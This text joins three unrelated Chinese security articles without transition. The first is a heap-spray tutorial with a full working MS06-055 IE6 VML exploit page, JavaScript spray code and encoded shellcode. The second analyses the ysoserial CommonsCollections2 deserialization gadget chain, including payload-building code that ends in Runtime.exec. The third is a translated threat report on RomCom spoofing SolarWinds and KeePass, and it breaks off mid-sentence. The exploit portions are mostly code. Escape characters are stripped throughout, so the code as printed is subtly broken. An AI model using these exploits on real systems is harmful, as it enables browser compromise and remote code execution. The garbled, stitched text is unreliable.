<script language="javascript">
var nop="u9090u9090";
while(nop.length<=0x100000/2)
{
nop+=nop;
}
var slide=new Array();
nop=nop.substring(0,0x100000/2-32/2-4/2-2/2);
alert(nop);
for(var i=0;i<200;i++)
{
slide[i]=nop;
}
</script>
如图所示，堆内存只分配到了0x211000，而0x0ccc0000之后也不是我们分配的内存。
所以实验中，堆并没有为我们分配对应的内存空间，我查询了javascript的内存管理并没有找到具体原因，个人猜测可能是因为填充的数据都是相同的u9090,所以内存就自动优化不进行分配了。可能是来自于windows系统的堆分配优化。
不过解决方案也很简单，实验中将slide添加上一段非u9090的代码时，成功申请了大量堆内存，并且覆盖到了0x0c0c0c0c地址。
修改后的代码
<script language="javascript">
shellcode="u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234";
var nop="u9090u9090";
while(nop.length<=0x100000/2)
{
nop+=nop;
}
nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
//nop=nop.substring(0,0x100000-32/2-4/2-2/2);
var slide=new Array();
for(var i=0;i<200;i++)
{
slide[i]=nop+shellcode;
// slide[i]=nop;
}
</script>
成功分配堆内存，可以进入0x0c0c0c0c内存查看具体分配状况。
## 第二章IE漏洞分析
让我们寻找一个相对方便入手的CVE调试来掌握堆喷射技术
### 2.1MS06-055分析
实验环境
系统版本：Windows XP SP1
IE版本：IE6（IE5.x或6.x均可）
Vgx.dll版本：6.0.2800.1106（低于6.0.2900.2997即可）
### 2.1.1 漏洞简介
MS06-055漏洞的出发点在IE浏览器的vgx.dll中，
该文件的可以在C:Program FilesCommonFilesMicrosoft SharedVGX下找到
漏洞成因是SHADETYPE_TEXT::Text(ushortconst
*,int)函数对<v:fill>标签的method属性的值缺乏长度检查而导致的栈溢出。
### 2.1.2 VML简介
vml_test.html
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>migraine</title>
<style>
<!--v:* { behavior: url(#default#VML); }-->
</style>
</head>
<body>
<v:rect style="width:44pt;height:44pt" fillcolor="blue">
<v:fill method="Q" />
</v:rect>
</body>
</html>
### 2.1.3 vgx.dll分析
使用IDA分析vgx.dll
IDA符号表导入方案
[不过由于windows xp现在已经下载不到符号表了，所以这次实验也就用不了]
<http://www.360doc.com/content/15/0705/16/12129652_482800639.shtml>
触发漏洞的函数是_IE5_SHADETYPE_TEXT::TOKENS::TEXT,但是在没有载入符号表的情况下我们是无法直接在IDA中搜索的。尽管我们知道这个函数的地址为0x5AD02D1B
测试环境下Windows XP
SP1的vgx.dll版本为6.0.2800.1106，如果系统不同，DLL版本不同也会造成偏差。下文会分析如何在没有符号表的情况下确定这个函数的位置。
不过，首先我们先对这个函数存在的漏洞进行分析。
实际漏洞触发函数是位于text：5AD02D5A 的call sub_5AD02CC0,
字符串没有检测长度，而产生栈溢出。进入这个函数，结合动态调试，确定loc_5AD02CDE->loc_5A02CFE构成的这个循环是造成溢出点的代码。
0x5AD02CF8地址的存放是拷贝的代码，而0x5AD02D04则是循环判断代码。
[ecx+4]存放着输入数据的长度，edx每次循环加二，直到和输入字符串长度相等才停止。
没有存在任何长度的检查或者限制，所以这是导致栈溢出的原因。
动态调试也应证了我的判断，给拷贝字符串的命令下断点，此时DX存放的数据是0x0c就是我们要存放的数据，EDI存放着需要拷贝的地址。而观察此时[ECX+4]
的位置，也存放着我们字符串的长度，此处不再赘述。
### 2.1.4 栈溢出调试
首先打开我们的vml_test.html,打开ImmunityDbg将进程附加到IE浏览器上。
此时因为我们的vml_test内部调用了vml所以IE自然会载入vgx.dll模块，通过模块查询可以发现，vgx.dll已经载入。
因为Windows XP并没有开启ASLR，所以vgx.dll的基地址和IDA预测的没有区别，直接Ctrl+G进入0x5AD02D1B下断点。
在地址栏中刷新我们的地址，可以看到程序断点在了存在漏洞的函数入口。这样如果需要调试poc，只需要修改我们的vml_test.html，然后刷新浏览器就能进行测试了。
找到我们的vml_test.html中的参数<v:fill method=”Q” />，增加method标签中Q的数量。再次进行调试
观察缓冲区我们填充的Q被存放在了缓冲区中，但是格式思路和我们期望的似乎有些不同。
在两个字符之间多处了x00的编码。原因是在VML在解析我们数据的时候使用的是UNICODE编码，而不是ASCII码，所以Q的ASCII码表示为x51而在UNICODE下则会转化为x00x51，格式为u0051
_IE5_SHADETYPE_TEXT::TOKENS::Ptok函数的EBP为0x12C0D0，所以函数的返回地址位于0x12C0D4，当然调试器也已经帮我标记好了这个地址。
而我们知道之前的缓冲区首地址为0x12BECC，所以我们需要在缓冲区填充0x20c的字节的才能覆盖返回地址。(也就是说0x106个Q)
我们编写POC.html,然后使用当前被调试的IE浏览器访问poc.html
观察此时的栈空间，返回地址已经被覆盖。
显然，只能控制一半的字节是无法完成利用的（当然可以用unescape来输入ascii而不是unicode），在二进制格式中输入ascii（x12）和unicode(u1234)的区别我们已经知道。我们需要在method参数中输入unicode编码，需要遵循这种格式
ሴ
例如如下的参数，在内存中会这样显示
<v:fill method="ሴሴሴሴሴሴሴ" />!
如此构建payload #python -c “print ‘ఌ’*0x106”
<v:fill method="ఌఌఌ....ఌఌఌ" />
不过调试过程出现报错，因为MOV DS:[EAX],EBX (EAX=0x0c0c0c0c)向一个不可写的位置写数据。
抓住罪魁祸首，这句话读取EBP-4位置的数据（位于下图中0x12ccc的位置），存入EAX。
话说EBP-4这个位置让我打了一个寒颤，难道这个DLL开了StackCookie？
不过找到了EAX数据的来源，那我们就将其改为一个可以读取的地址（内存中被标为W的都行，例如0x0012011）。（可以直接用调试器修改寄存器的值）
poc.html
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>migraine</title>
<style>
<!--v:* { behavior: url(#default#VML); }-->
</style>
</head>
<body>
<v:rect style="width:44pt;height:44pt" fillcolor="blue">
<v:fill method="ఌఌఌఌఌఌ...#x0011ఌఌఌఌ" />
</v:rect>
</body>
</html>
到目前位置栈溢出漏洞的利用已经告一段落,上文已经给出我们的poc，接下来就到了本部分的重头戏—Heap Spray.
### 2.1.5 堆喷射利用
1.对shellcode编码
首先我们将shellcode编码为unicode，因为javascript只读取unicode格式。我们在这里可以使用python对shellcode进行编码。直接贴上脚本。
#!/usr/bin/python
shellcode="xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
shellcode+="x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
shellcode+="x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
shellcode+="x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
shellcode+="xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
shellcode+="x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
shellcode+="xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
shellcode+="xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
shellcode+="x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
shellcode+="x53x68x61x69x6Ex65x68x6Dx69x67x72x8BxC4x53x50x50"
shellcode+="x53xFFx57xFCx53xFFx57xF8"
print "shellcode(Unicode)=",
for i in range(0,len(shellcode),2):
unicode_right=shellcode[i]
unicode_left=shellcode[i+1]
unicode=unicode_left+unicode_right
print "b\u"+unicode.encode('hex'),
脚本编写方面的笔记
1.Python 2如果要print不换行只需要加一个逗号，但是逗号需要产生一个空格，可以用/b去除。
2.str类型的要输出hex，需要使用encode函数。
输出的shellcode
"u68fcu0a6au1e38u6368ud189u684fu7432u0c91uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332u7568u6573u5472ud233u8b64u305au4b8bu8b0cu1c49u098bu698buad08u6a3du380au751eu9505u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598bu0320u33ddu47ffu348bu03bbu99f5ube0fu3a06u74c4uc108u07caud003ueb46u3bf1u2454u751cu8be4u2459udd03u8b66u7b3cu598bu031cu03ddubb2cu5f95u57abu3d61u0a6au1e38ua975udb33u6853u6961u656eu6d68u6769u8b72u53c4u5050uff53ufc57uff53uf857"
2.通过javascript产生堆空间
Javascript申请的堆空间会从0x00000000向内存高地址分配
如果申请200MB（0x0C800000）的内存一定会将0x0c0c0c0c覆盖。
完整的poc.html
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>migraine</title>
<style>
<!--v:* { behavior: url(#default#VML); }-->
</style>
</head>
<script language="javascript">
var shellcode="u68fcu0a6au1e38u6368ud189u684fu7432u0c91uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332u7568u6573u5472ud233u8b64u305au4b8bu8b0cu1c49u098bu698buad08u6a3du380au751eu9505u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598bu0320u33ddu47ffu348bu03bbu99f5ube0fu3a06u74c4uc108u07caud003ueb46u3bf1u2454u751cu8be4u2459udd03u8b66u7b3cu598bu031cu03ddubb2cu5f95u57abu3d61u0a6au1e38ua975udb33u6853u6961u656eu6d68u6769u8b72u53c4u5050uff53ufc57uff53uf857";
var nop="u9090u9090";
while(nop.length<=0x100000/2)
{
nop+=nop;
}
nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
var slide=new Array();
for(var i=0;i<200;i++)
{
slide[i]=nop+shellcode;
}
</script>
<body>
<v:rect style="width:44pt;height:44pt" fillcolor="blue">
<v:fill method="ఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌ" />
</v:rect>
</body>
</html>
程序跳转到0x0c0c0c0c之后一路滑行，直到滑到下一个1MB的内存空间，执行shellcode。
### 2.1.6回顾漏洞挖掘过程
问：在没有符号表的情况下，我们是如何判断程序的漏洞点的。
其实这个漏洞在挖掘上存在一个巧合，填充大量的Q值，发现程序的EIP并没有跳转到0x51515151，但是程序却非常巧合地断在了漏洞函数中。但是程序并没有触发这个漏洞。
不过就凭这一点，要做后期分析也是非常方便的。
不过我们并不恩感每次漏洞挖掘都期待存在这种巧合。
栈回溯技术
我们使用poc中的method参数，假设这是模拟我们在模糊测试中的测试场景，最终会导致EIP跳转。
当Fuzz时，程序发生崩溃。但是当EIP跳转之后，程序会继续运行，然后最终断在某个程序错误中，所以我们很难判断造成程序崩溃的具体函数。
那有没有解决方案呢，我们在这里可以使用栈回溯技术，追踪漏洞的源头。
在运行poc之前首先点击Open or clear run trace，打开栈追踪，然后点击Trace into
等到触发崩溃之后，进入栈追踪的窗口（将调试窗口缩小就能看到了，或者点击View-Call Stack）
发现成功追溯到vgx.5AD02D1B,也就是我们产生漏洞的函数。
## 小结
结束了堆喷射的学习，目前就把Win下（IE）漏洞的预备知识都复习了一遍了，接下里来学习就要进入快车道了，接下来将重返UAF漏洞的学习，同时寻找好的案例进行解析和Fuzz学习。
## 参考文献：
[1]
[0x3E6](https://me.csdn.net/qq_31922231).MS06-055（CVE-2006-4868）漏洞分析[DB/OL].
<https://blog.csdn.net/qq_31922231/article/details/69791185,2017-04-09>
[2]0Day安全:软件漏洞分析技术
[3]magictong.Heap Spray原理浅析[DB.OL].
<http://blog.csdn.net/magictong/article/details/7391397,2012-03-24>
[4][Yuri800](https://me.csdn.net/lixiangminghate).演示Heap Spray(堆喷射)的原理[DB/OL].
<https://blog.csdn.net/lixiangminghate/article/details/53413863,2016-12-01>
[5][噗咚Four](https://bbs.pediy.com/user-833287.htm)
.[原创]初识堆喷射及事例(暴雷漏洞)分析[DB/OL].
<https://bbs.pediy.com/thread-247937.htm,2018-11-23>
[6] [lostspeed](https://me.csdn.net/LostSpeed).OD用栈回溯法找程序流程点[DB/OL].
<https://blog.csdn.net/lostspeed/article/details/54983244,2017-02-11>
[7] [行之](https://xz.aliyun.com/u/8391).JavaScript中的堆漏洞利用[DB/OL].
<https://xz.aliyun.com/t/2107,2018-03-06> | 社区文章 |
### 0x00 背景
前段时间推荐一学弟好好看看Ysoserial，中间他问了我两个问题：1）queue为什么要先用两个1占位；2）PriorityQueue的queue
已经使用transient关键字修饰，为什么还能从流中反序列化queue中的元素（参见CommonsCollections2的源码）
我之前只是看了部分分析比如drops[这篇](http://drops.wooyun.org/papers-14317.html
"这篇")，自己没有完完全全跟过相关源码。对于第一个问题，不假思索回答了“泛型类型擦除”，确切说是元素放入队列会进行比较排序，比较器要求元素类型一致，payload这么构造是为了防止序列化过程出现异常，后面通过利用反射再将修改元素。对于第二个问题，我当时没有让人信服的答案。
这两天有时间看了源码和序列规范，真是惭愧，误人子弟了！
在寻找答案的过程中，同事也尝试通过正向的思路去理解整个payload的构造，这个思路更加直白，感兴趣的可以看看。如果单纯想知道问题答案可以直接看0x03
问题解答
### 0x01 Gadget chain 分析
1）Gadget chain
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
2）CommonsCollections2的getObject
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
3）待序列化反序列化的类
既然是正向思路，自然是从反序列化的本质出发。因此，很自然第一个问题是待序列化反序列化的类是哪一个。
//java.util.PriorityQueue
4）它的readObject方法做了什么
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
正如PriorityQueue名字，其是优先级的队列，既然是一个有优先级的队列，必然存在区分优先级的机制--排序。
在4)中，从heapify-->siftDown-->siftDownUsingComparator
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
在siftDown中，如果成员comparator不为空，则调用siftDownUsingComparator（名字很直白）。那么comparator（比较器）从哪里来呢？看看PriorityQueue其中一个构造方法：
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;//指定比较器
}
可以在实例化指定。
5）CommonsCollections2使用了什么比较器
回顾2），使用了TransformingComparator
//org.apache.commons.collections4.comparators.TransformingComparator
siftDownUsingComparator方法调用了比较器的compare方法
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
成员变量transformer是Transformer类型(调用它的transform方法，嗅到CommonsCollection1中熟悉的味道)。
6）Transformer具体实现类是哪一个
回顾2），使用了InvokerTransformer
//ysoserial.payloads.CommonsCollections2
当然还是熟悉的InvokerTransformer。
类比`CommonsCollections1`，通过`ChainedTransformer`将`InvokerTransformer`和`ConstantTransformer`串起来完全够用了。即：`ChainedTransformer`承载执行命令的`payload`；`TransformingComparator`承载`ChainedTransformer`；`PriorityQueue`对队列元素排序调用`TransformingComparator`的`compare`方法触发。
不知道作者 为什么要复杂化。当然，一方面可能存在某些局限我没有发现；另一方面，更复杂的链的确需要更深的功底，不得不佩服。
（下面还是顺着复杂的继续看下去）
7）PriorityQueue队列中放置了什么元素
一开始放置了两个“1”占位，后面通过反射将其中之一换为templates(这里引出第一个问题)。跟进templates生成过程：
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
`使用javassist修改字节码，javassist是一个使用广泛的修改字节码的库，另外还有两个常用的库是asm和cglib。`
上面代码做了几件事：
* 实例化一个org.apache.xalan.xsltc.trax.TemplatesImpl -- templates，其成员_bytecodes可以放置字节码；
* 获取 StubTransletPayload( 继承org.apache.xalan.xsltc.runtime.AbstractTranslet)字节码，并插入命令执行的字节码；
* 通过反射，设置templates私有成员变量的值，其中_bytecodes正是装载插入了执行我们执行命令的StubTransletPayload字节码。
整理一下，最重要的命令执行已经插入了，待序列化和反序列化的类已经准备...一切就绪，看看流程是怎么串起来。
8）回头看5），InvokerTransformer的transform方法将会被调用：
public O transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class<?> cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
回头看2）InvokerTransformer的iMethodName已经已经指定为newTransformer。
9）org.apache.xalan.xsltc.trax.TemplatesImpl的newTransformer
结合5）和8，org.apache.xalan.xsltc.trax.TemplatesImpl的newTransformer方法将会被调用：
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(),//需要跟进
this._outputProperties, this._indentNumber, this._tfactory);
if (this._uriResolver != null) {
transformer.setURIResolver(this._uriResolver);
}
if (this._tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) {
transformer.setSecureProcessing(true);
}
return transformer;
}
10）org.apache.xalan.xsltc.trax.TemplatesImpl的getTransletInstance
接着看this.getTransletInstance
private Translet getTransletInstance() throws TransformerConfigurationException {
ErrorMsg err;
try {
if (this._name == null) {
return null;
} else {
if (this._class == null) {
this.defineTransletClasses();//需要跟进
}
AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();//回头看
translet.postInitialization();
translet.setTemplates(this);
if (this._auxClasses != null) {
translet.setAuxiliaryClasses(this._auxClasses);
}
//省略部分源码
}
11）org.apache.xalan.xsltc.trax.TemplatesImpl的gdefineTransletClasses：
private void defineTransletClasses() throws TransformerConfigurationException {
if (this._bytecodes == null) {
ErrorMsg err = new ErrorMsg("NO_TRANSLET_CLASS_ERR");
throw new TransformerConfigurationException(err.toString());
} else {
TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader());
}
});
ErrorMsg err;
try {
int classCount = this._bytecodes.length;
this._class = new Class[classCount];
if (classCount > 1) {
this._auxClasses = new Hashtable();
}
for(int i = 0; i < classCount; ++i) {
this._class[i] = loader.defineClass(this._bytecodes[i]);
Class superClass = this._class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
this._transletIndex = i;
} else {
this._auxClasses.put(this._class[i].getName(), this._class[i]);
}
}
//省略部分源码
}
12）获取到对象的字节码之后，就可以实例化对象了：
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
//实例化StubTransletPayload对象，触发通过javassist插入的命令执行代码
### 0x02 流程概括
PriorityQueue承载TemplatesImpl,TemplatesImpl的_bytecodes装载StubTransletPayload字节码，通过javassist修改StubTransletPayload字节码插入命令执行，PriorityQueue的排序使用比较器TransformingComparator，比较器触发InvokerTransformer的transform，transform最终触发StubTransletPayload实例化，进而造成命令执行。
### 0x03 问题解答
1）queue为什么要先用两个1占位？
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
实话说，其实我也不知道。但是我最初的说法（比较器要求元素类型一致，payload这么构造是为了防止序列化过程出现异常）肯定不严谨。
简单分析
a.泛型
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
PriorityQueue指定Object，1会被装箱成Integer，和templates都是Object的子类，因此这里编译不会有问题。
b.比较
i. 如果放进PriorityQueue的元素不一致，会不会在比较时出现问题呢？
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
回答上面的问题，需要看上面this.decorated.compare(value1, value2)会不会有问题。
ii. 看看this.decorated
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;//ComparatorUtils.NATURAL_COMPARATOR
this.transformer = transformer;
}
iii. ComparatorUtils.NATURAL_COMPARATOR 是何物
public class ComparableComparator<E extends Comparable<? super E>> implements Comparator<E>, Serializable {
private static final long serialVersionUID = -291439688585137865L;
public static final ComparableComparator INSTANCE = new ComparableComparator();
public static <E extends Comparable<? super E>> ComparableComparator<E> comparableComparator() {
return INSTANCE;
}
public ComparableComparator() {
}
public int compare(E obj1, E obj2) {
return obj1.compareTo(obj2);//元素的比较逻辑落在这里
}
iv. 再回头看看i中value1和value2是什么
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
因为InvokerTransformer在初始化时已经指定toString,所以调用其transform方法就会得到String。既然都是String，比较当然没有问题！
`事实上，将CommsCollections2改造成如下也没有毛病`
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(templates);
queue.add(new VerifyError("nothing"));
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
//final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
//queueArray[0] = templates;
//queueArray[1] = 1;
return queue;
}
所以，作者为什么这么写，也许更加优雅吧。
2）PriorityQueue的queue 已经使用transient关键字修饰，为什么还能从流中反序列化queue中的元素？
成员使用transient关键字修饰，的确是为了序列化时不写入流中（该成员可能含有敏感信息，出于保护不写入）。这一点可以从序列化的文件中验证：
但是，[序列化规范](https://docs.oracle.com/javase/8/docs/platform/serialization/spec/output.html#a861
"序列化规范")允许待序列化的类实现writeObject方法，实现对自己的成员控制权。
PriorityQueue的确实现类writeObject方法，将队列中的元素写入流中：
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException{
// Write out element count, and any hidden stuff
s.defaultWriteObject();
// Write out array length, for compatibility with 1.5 version
s.writeInt(Math.max(2, size + 1));
// Write out all elements in the "proper order".
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
正是因为如下，readObject才可以从输入流中读取队列元素
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
0x04 参考
<http://drops.wooyun.org/papers/14317>
<https://docs.oracle.com/javase/8/docs/platform/serialization/spec/serialTOC.html> | 社区文章 |
**作者：黑莓研究和情报团队
译者：知道创宇404实验室翻译组
原文链接：<https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass>**
## **总结**
被称为RomCom的黑客正在利用SolarWinds、KeePass和PDF
Technologies的品牌力量，开展一系列新的攻击活动。黑莓威胁研究和情报团队在分析我们最近[关于 RomComRAT
的报告中](https://blogs.blackberry.com/en/2022/10/unattributed-romcom-threat-actor-spoofing-popular-apps-now-hits-ukrainian-militaries)发现的网络工件时，察觉到了这些活动，该报告称通过仿冒版本的高级 IP 扫描仪软件针对乌克兰军事机构。
在我们最新的发现中，我们的团队发现RomCom在其活动中模仿了以下产品： **SolarWinds网络性能监视器** ，
**KeePass开源密码管理器** 和 **PDF Reader Pro。**
虽然乌克兰似乎仍然是这场运动的主要目标，但一些英语国家也成为了目标，尤其是英国。这是基于两个恶意网站的服务条款 （TOS） 和新创建的命令和控制 （C2）
的 SSL 证书。
鉴于目标的地理位置和当前的地缘政治局势，RomCom RAT黑客不太可能是出于网络犯罪动机。
## **攻击向量**
为了应对攻击，RomCom 黑客执行以下简化方案：从供应商处获取原始合法 HTML
代码进行欺骗，注册类似于合法域的恶意域，木马化合法应用程序，将恶意捆绑包上传到诱骗网站，向受害者部署有针对性的钓鱼电子邮件，或者使用其他感染者载体，我们将在下面详细介绍。
## **RomCom武器化**
**RomCom SolarWinds网络性能监控活动**
看看下面两个屏幕截图，观察真正的 SolarWinds NPM 网站和虚假网站的对比情况。
图1–合法的SolarWinds网站
图2–假冒的SolarWinds网站
此攻击的部署是通过 SolarWinds 网络性能监控 （NPM） 应用程序的特洛伊木马版本进行的。从冒充的 SolarWinds
网站下载免费试用版时，将显示合法的注册表格。如果填写完毕，真正的 SolarWinds
销售人员可能会联系受害者以跟进产品试用。该技术误导受害者相信最近下载和安装的应用程序是完全合法的，从而在不知不觉中下载了恶意 RomCom 远程访问木马
（RAT） 的投放器。
图3–“SolarWinds-Orion-NPM-Eval.zip”的提取内容
“Solarwinds-Orion-NPM-Eval.exe”文件包含来自“Wechapaisch Consulting & Construction
Limited”的数字证书。黑客之前在“advancedipscanner.msi”文件中使用了相同的证书信息，我们在之前对此黑客的调查中发现了这一细节。需要注意的是，合法文件由“SolarWinds
Worldwide， LLC”进行数字签名。
“Solarwinds-Orion-NPM-Eval.exe”在资源部分包含三个嵌入式x64文件：
* **X86** – 包含“c:\users\123\source\repos\ins_asi\win32\release\instlib.pdb”，这与我们之前在“setup.exe”文件中看到的PDB路径相同。
* **X87** – 一个干净的、经过数字签名的SolarWinds Orion安装程序。
* **X88** – RomCom RAT滴管。此DLL调用“rundll32.exe”并运行“fwdTst”导出，将x64 RomCom RAT放入“C:\Users\user\AppData\Local\Temp\winver.dll”位置。
## **KeePass RomCom活动**
11月1日，黑莓威胁研究和情报团队又有了另一项发现。RomCom团队发起了一场新的攻击活动，滥用名为KeePass的流行密码管理器。当有人从假冒但看起来合法的KeePass网站下载应用程序时，攻击者会将一个名为“KeePass-2.52”的恶意捆绑包投放到受害者的计算机上。
图4–合法的KeePass网站
图5–假冒的KeePass网站
假冒的KeePass.org网站发布了一个名为“KeePass-2.52.zip”的木马捆绑包。解压后，它包含以下文件：
图6–恶意存档的内容
如上面的屏幕截图所示， **KeePass-2.52.zip** 文件中包含两个恶意文件：
